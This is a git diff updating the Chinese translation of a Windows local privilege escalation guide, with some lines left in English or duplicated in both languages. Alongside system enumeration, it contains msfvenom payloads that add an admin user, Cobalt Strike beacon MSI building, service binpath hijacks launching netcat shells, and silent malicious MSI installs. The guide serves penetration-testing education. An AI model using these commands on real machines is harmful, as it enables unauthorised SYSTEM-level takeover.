diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 869add540..79761b86b 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,14 +1,14 @@ -# Windows 本地权限提升 +# Windows Local Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -### **查找 Windows 本地权限提升 向量 的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **查找 Windows local privilege escalation 向量 的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Windows 基础理论 +## Initial Windows Theory ### Access Tokens -**如果你不知道 Windows Access Tokens 是什么,请在继续之前阅读以下页面:** +**如果你不知道什么是 Windows Access Tokens,请在继续之前阅读以下页面:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**如果你不知道 Windows 中的 Integrity Levels 是什么,你应该在继续之前阅读以下页面:** +**如果你不知道 Windows 中的 integrity levels 是什么,应该在继续之前阅读以下页面:** {{#ref}} integrity-levels.md {{#endref}} -## Windows 安全控制 +## Windows Security Controls -Windows 有多种机制可能会 **阻止你枚举系统**、运行可执行文件,甚至 **检测到你的活动**。在开始权限提升枚举之前,你应该 **阅读** 以下 **页面** 并 **枚举** 所有这些 **防御** **机制**: +Windows 中有不同的机制可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。在开始 privilege escalation 枚举之前,你应该**阅读**下面的**页面**并**枚举**所有这些**防御****机制**: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## 系统信息 +## System Info -### 版本信息枚举 +### Version info enumeration -检查 Windows 版本是否存在已知漏洞(也要检查已应用的补丁)。 +检查 Windows 版本是否存在任何已知漏洞(也检查已应用的补丁)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### 版本利用 +### 版本漏洞利用 -这个 [网站](https://msrc.microsoft.com/update-guide/vulnerability) 对于查找 Microsoft 安全漏洞的详细信息很有用。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 +This [site](https://msrc.microsoft.com/update-guide/vulnerability) 非常适合检索有关 Microsoft 安全漏洞的详细信息。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 -**On the system** +**在系统上** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 已内置 watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 嵌入了 watson)_ -**Locally with system information** +**在本地(使用系统信息)** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github 上的 exploits 仓库:** +**Github 漏洞利用仓库:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### 环境 -任何 credential/Juicy info 保存在 env variables 中吗? +有任何凭证/敏感信息保存在环境变量中吗? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell 转录文件 -你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能。 +您可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用它。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,34 +116,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -记录了 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用以及脚本的部分内容。然而,完整的执行细节和输出结果可能无法全部捕获。 +PowerShell 管道执行的详细信息会被记录,包括已执行的命令、命令调用和脚本的部分内容。然而,完整的执行细节和输出结果可能不会被全部捕获。 -要启用此功能,请按照文档中 "Transcript files" 部分的说明操作,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 +要启用此功能,请按照文档中 "Transcript files" 部分的说明进行操作,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -要查看 Powershell 日志的最近 15 条事件,你可以执行: +要查看 PowersShell 日志中的最近 15 条事件,可以执行: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -捕获了script执行的完整活动和全部内容记录,确保每个 block of code 在运行时都被记录。此过程保留了每项活动的全面审计痕迹,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,能够提供对进程的详细洞察。 +捕获脚本执行的完整活动和内容记录,确保每个代码块在运行时都被记录。此过程保留了每项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可获得对该过程的详细洞察。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block 的日志事件可以在 Windows 事件查看器的路径:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -要查看最近的 20 条事件,您可以使用: +Script Block 的日志事件可以在 Windows 事件查看器中通过以下路径找到:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\ +要查看最近 20 条事件,你可以使用: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Internet 设置 +### 互联网设置 ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -如果更新不是通过 http**S** 而是通过 http 请求,可能导致系统被妥协。 +如果更新请求不是使用 http**S** 而是使用 http,则可以攻陷该系统。 -首先在 cmd 中运行以下命令检查网络是否使用 non-SSL WSUS update: +首先通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -或者在 PowerShell 中运行以下命令: +或者在 PowerShell 中执行以下内容: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -如果你收到类似下面这样的回复: +如果你收到如下回复: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -如果 `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` 或 `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` 等于 `1`。 +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -那么,**it is exploitable.** 如果最后一个注册表值等于 0,则 WSUS 条目将被忽略。 +那么,**它是可被利用的**。如果最后一个注册表项等于 0,则该 WSUS 条目将被忽略。 -为了利用这些漏洞,你可以使用诸如 [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus) 之类的工具——这些是用于在非 SSL WSUS 流量中注入“伪造”更新的 MiTM 武器化利用脚本。 +In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. + +为了利用这些漏洞,你可以使用如下工具: [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus) —— 这些是用于 MiTM 的武器化利用脚本,用于向非 SSL 的 WSUS 流量注入“伪造”更新。 Read the research here: @@ -194,18 +196,20 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/). -Basically, this is the flaw that this bug exploits: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +基本上,这是该漏洞所利用的缺陷: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> 如果我们有权限修改本地用户代理(local user proxy),并且 Windows Updates 使用 Internet Explorer 设置中配置的代理,那么我们就可以在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升的用户权限在本地运行代码。 > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> 此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将其添加到当前用户的证书存储中,就能够同时拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 没有类似 HSTS 的机制来对证书实施首次使用即信任(trust-on-first-use)类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,服务就会接受该证书。 -你可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦可用)来利用此漏洞。 +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). + +你可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦发布)来利用此漏洞。 ## Third-Party Auto-Updaters and Agent IPC (local privesc) -许多企业 agent 暴露了 localhost IPC 接口和一个有特权的更新通道。如果可以将 enrollment 强制指向攻击者服务器,并且 updater 信任一个恶意根 CA 或签名检查薄弱,本地用户就可以投递一个恶意 MSI,由 SYSTEM 服务安装。基于 Netskope stAgentSvc 链(– CVE-2025-0309)的通用技术见: +许多企业 agent 会暴露一个 localhost IPC 接口和一个特权更新通道。如果能够将注册(enrollment)强制指向攻击者服务器,且更新程序信任伪造的根 CA 或签名检查薄弱,则本地用户可以投递一个恶意 MSI,由 SYSTEM 服务安装。参见基于 Netskope stAgentSvc 链(CVE-2025-0309)的一般化技术: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +217,17 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +在 Windows **domain** 环境中存在一个 **local privilege escalation** 漏洞,但需满足特定条件。条件包括:环境未强制启用 **LDAP signing**、用户拥有允许其配置 **Resource-Based Constrained Delegation (RBCD)** 的自有权限,以及用户能够在域内创建计算机。需要注意的是,这些**要求**在**默认设置**下即已满足。 Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +有关攻击流程的更多信息,详见 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ ## AlwaysInstallElevated **If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. + +**如果** 这两个注册表项被**启用**(值为 **0x1**),那么任意权限的用户都可以以 NT AUTHORITY\\**SYSTEM** 的身份**安装**(执行)`*.msi` 文件。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,73 +237,72 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -如果你有一个 meterpreter 会话,你可以使用模块 **`exploit/windows/local/always_install_elevated`** 自动化此技术 +如果你有一个 meterpreter 会话,可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化此技术 ### PowerUP -使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本输出一个预编译的 MSI 安装程序,提示添加用户/组(所以你将需要 GIU 访问): +使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提升权限的 Windows MSI 二进制文件。该脚本写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你将需要 GIU 访问): ``` Write-UserAddMSI ``` -只需执行生成的二进制文件即可提升权限。 +只需执行创建的二进制文件即可提升权限。 -### MSI Wrapper +### MSI 包装器 -阅读本教程以学习如何使用这些工具创建 MSI wrapper。请注意,如果你**只是**想**执行**命令行,可以将一个 **.bat** 文件打包。 +阅读本教程以了解如何使用这些工具创建 MSI 包装器。注意,如果你**只是**想**执行** **命令行**,你可以封装一个 "**.bat**" 文件 {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### 使用 WIX 创建 MSI {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### 使用 Visual Studio 创建 MSI -- 使用 Cobalt Strike 或 Metasploit **生成** 一个新的 Windows EXE TCP payload 到 `C:\privesc\beacon.exe` -- 打开 **Visual Studio**,选择 **Create a new project**,在搜索框输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 -- 给项目命名,例如 **AlwaysPrivesc**,将位置设置为 **`C:\privesc`**,选择 **place solution and project in the same directory**,然后点击 **Create**。 -- 一直点击 **Next**,直到到达第 3 步(共 4 步,选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 +- **生成**:使用 Cobalt Strike 或 Metasploit 在 `C:\privesc\beacon.exe` 生成一个 **新的 Windows EXE TCP payload** +- 打开 **Visual Studio**,选择 **Create a new project** 并在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 +- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **place solution and project in the same directory**,然后点击 **Create**。 +- 不断点击 **Next**,直到到达第 3 步(选择要包含的文件)。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。 - 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目,在 **Properties** 中将 **TargetPlatform** 从 **x86** 改为 **x64**。 -- 你还可以修改其他属性,例如 **Author** 和 **Manufacturer**,使安装的应用看起来更可信。 -- 右键项目,选择 **View > Custom Actions**。 +- 你可以更改其他属性,例如 **Author** 和 **Manufacturer**,这些可以让已安装的应用看起来更可信。 +- 右键项目并选择 **View > Custom Actions**。 - 右键 **Install** 并选择 **Add Custom Action**。 - 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这将确保安装程序运行时立即执行 beacon payload。 -- 在 **Custom Action Properties** 下,将 **Run64Bit** 设置为 **True**。 -- 最后,**构建** 项目。 -- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 +- 在 **Custom Action Properties** 下,将 **Run64Bit** 改为 **True**。 +- 最后,**构建**。 +- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 -### MSI Installation +### MSI 安装 -要在 **后台** 执行恶意 `.msi` 文件的 **安装**: +要在**后台**执行恶意 `.msi` 文件的**安装**: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -要利用此漏洞,你可以使用: _exploit/windows/local/always_install_elevated_ +要利用此漏洞你可以使用: _exploit/windows/local/always_install_elevated_ -## 防病毒与检测器 +## 防病毒和检测器 ### 审计设置 -这些设置决定哪些内容会被**记录**,因此你应当注意 +这些设置决定了哪些内容会被**记录**,所以你应该注意 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -值得了解 Windows Event Forwarding 的日志被发送到哪里 +Windows Event Forwarding, 值得了解日志被发送到哪里 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** 的设计用于 **本地 Administrator 密码的管理**,确保加入域的计算机上每个密码都是 **唯一、随机化并定期更新** 的。这些密码被安全地存储在 Active Directory 中,只有通过 ACLs 被授予足够权限的用户才能访问,从而在被授权时查看本地管理员密码。 - +**LAPS** 旨在用于 **本地 Administrator 密码 的管理**,确保每个密码在加入域的计算机上都是 **唯一、随机化并定期更新的**。这些密码被安全地存储在 Active Directory 中,只有通过 ACLs 授予足够权限的用户才能访问,允许他们在被授权的情况下查看本地管理员密码。 {{#ref}} ../active-directory-methodology/laps.md @@ -305,28 +310,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -如果启用,**明文密码会存储在 LSASS** (Local Security Authority Subsystem Service)。\ +如果启用,**明文密码会存储在 LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA Protection +### LSA 保护 -自 **Windows 8.1** 起,Microsoft 引入了对 Local Security Authority (LSA) 的增强保护,以阻止不受信任的进程尝试读取其内存或注入代码,从而进一步提高系统安全性。\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +从 **Windows 8.1** 起,Microsoft 为 Local Security Authority (LSA) 引入了增强保护,以 **阻止** 不受信任进程 **读取其内存** 或注入代码的尝试,从而进一步提高系统安全。\ +[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** 于 **Windows 10** 中引入。它的目的是保护存储在设备上的凭据,以防止类似 pass-the-hash 的攻击。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** 在 **Windows 10** 中引入。其目的是保护设备上存储的凭据,防止诸如 pass-the-hash 攻击之类的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### 缓存凭据 -**域凭据** 由 **本地安全机构 (Local Security Authority, LSA)** 验证并被操作系统组件使用。当用户的登录数据被已注册的安全包验证时,通常会为该用户建立域凭据。\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**域凭据**由**本地安全机构** (LSA) 进行身份验证,并被操作系统组件使用。当用户的登录数据被已注册的安全包认证时,通常会为该用户建立域凭据.\\ +[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -351,7 +356,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特权组 -如果你 **belongs to some privileged group you may be able to escalate privileges**。在这里了解特权组以及如何滥用它们以提升权限: +如果你**属于某个特权组,你可能能够提权**。在此了解特权组以及如何滥用它们以提权: {{#ref}} @@ -360,8 +365,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Token 操作 -**了解更多** 关于 **token** 的内容,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -查看以下页面以 **learn about interesting tokens** 以及如何滥用它们: +**了解更多** 关于 **token** 的信息,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +查看下列页面以**了解有趣的 tokens**以及如何滥用它们: {{#ref}} @@ -386,12 +391,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Running Processes +## 运行中的进程 -### File and Folder Permissions +### 文件和文件夹权限 -首先,在列出进程时,**检查进程命令行中是否包含密码**.\ -检查是否能**覆盖正在运行的某个二进制文件**或是否对二进制文件所在文件夹具有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): +首先,列出进程时**检查进程命令行中是否包含密码**。\ +检查是否可以**覆盖某些正在运行的可执行文件**,或者是否对可执行文件所在的文件夹具有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -402,7 +407,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -始终检查是否存在可能的 [**electron/cef/chromium debuggers** 正在运行,可能被滥用以 escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +始终检查是否有可能的 [**electron/cef/chromium debuggers** 正在运行,你可以利用它来 escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **检查进程二进制文件的权限** ```bash @@ -421,9 +426,9 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Memory Password mining +### 内存密码挖掘 -你可以使用 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中可能包含 **credentials in clear text in memory**,尝试转储内存并读取这些 credentials。 +可以使用来自 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中会有 **credentials in clear text in memory**。尝试转储内存并读取这些 credentials。 ```bash procdump.exe -accepteula -ma ``` @@ -431,9 +436,9 @@ procdump.exe -accepteula -ma **以 SYSTEM 身份运行的应用可能允许用户启动 CMD 或浏览目录。** -示例: "Windows Help and Support" (Windows + F1), 搜索 "command prompt", 点击 "Click to open Command Prompt" +示例: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" -## Services +## 服务 获取服务列表: ```bash @@ -444,44 +449,44 @@ Get-Service ``` ### 权限 -你可以使用 **sc** 获取某个服务的信息 +你可以使用 **sc** 获取服务信息 ```bash sc qc ``` -建议获取来自 _Sysinternals_ 的二进制文件 **accesschk**,用于检查每个服务所需的权限级别。 +建议拥有来自 _Sysinternals_ 的二进制文件 **accesschk**,以检查每个服务所需的权限级别。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -建议检查 "Authenticated Users" 是否可以修改任何服务: +建议检查 "Authenticated Users" 是否可以修改任何服务: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[可从此处下载 accesschk.exe for XP](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### 启用服务 -如果你遇到这个错误(例如在 SSDPSRV 上): +如果出现此错误(例如与 SSDPSRV 相关): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -你可以使用以下命令启用它 +可以使用以下命令启用它: ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**请注意服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** +**请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** -**另一种解决此问题的变通办法是运行:** +**另一个变通方法** 来解决此问题是运行: ``` sc.exe config usosvc start= auto ``` ### **修改服务二进制路径** -在 "Authenticated users" 组对某个服务拥有 **SERVICE_ALL_ACCESS** 权限的情况下,可以修改该服务的可执行二进制文件。要修改并执行 **sc**: +如果“Authenticated users”组对某个服务拥有 **SERVICE_ALL_ACCESS**,则可以修改该服务的可执行二进制文件。要修改并执行 **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -494,35 +499,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -可以通过各种权限提升特权: +权限可以通过多种权限进行提权: - **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。 -- **WRITE_DAC**: 允许重新配置权限,从而可更改服务配置。 +- **WRITE_DAC**: 允许重新配置权限,从而能够更改服务配置。 - **WRITE_OWNER**: 允许获取所有权并重新配置权限。 -- **GENERIC_WRITE**: 继承更改服务配置的能力。 -- **GENERIC_ALL**: 同样继承更改服务配置的能力。 +- **GENERIC_WRITE**: 同样允许更改服务配置。 +- **GENERIC_ALL**: 同样允许更改服务配置。 -可使用 _exploit/windows/local/service_permissions_ 来检测和利用此漏洞。 +要检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。 -### 服务二进制文件的弱权限 +### Services binaries weak permissions -**检查是否可以修改由服务执行的二进制文件** 或者是否对二进制所在的文件夹具有 **写权限** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -您可以使用 **wmic** 获取服务执行的所有二进制文件(不是 system32 中的),并使用 **icacls** 检查您的权限: +**检查是否可以修改由服务执行的二进制文件** 或者是否对二进制所在的文件夹拥有 **写权限**([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +你可以使用 **wmic**(不在 system32)获取每个由服务执行的二进制,并使用 **icacls** 检查你的权限: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -你也可以使用 **sc** 和 **icacls**: +你也可以使用 **sc** 和 **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### 服务注册表修改权限 +### 服务注册表 修改权限 你应该检查是否可以修改任何服务注册表。\ -你可以**检查**你在某个服务**注册表**上的**权限**,方法是: +你可以通过以下操作**检查**你对某个服务**注册表**的**权限**: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -531,15 +536,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -应检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,服务执行的二进制文件可以被更改。 +应该检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,服务执行的二进制文件可以被更改。 -要更改所执行二进制文件的 Path: +要更改被执行二进制的 Path: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### 服务注册表 AppendData/AddSubdirectory 权限 -如果你在某个注册表上拥有此权限,这意味着 **你可以从该注册表创建子注册表**。在 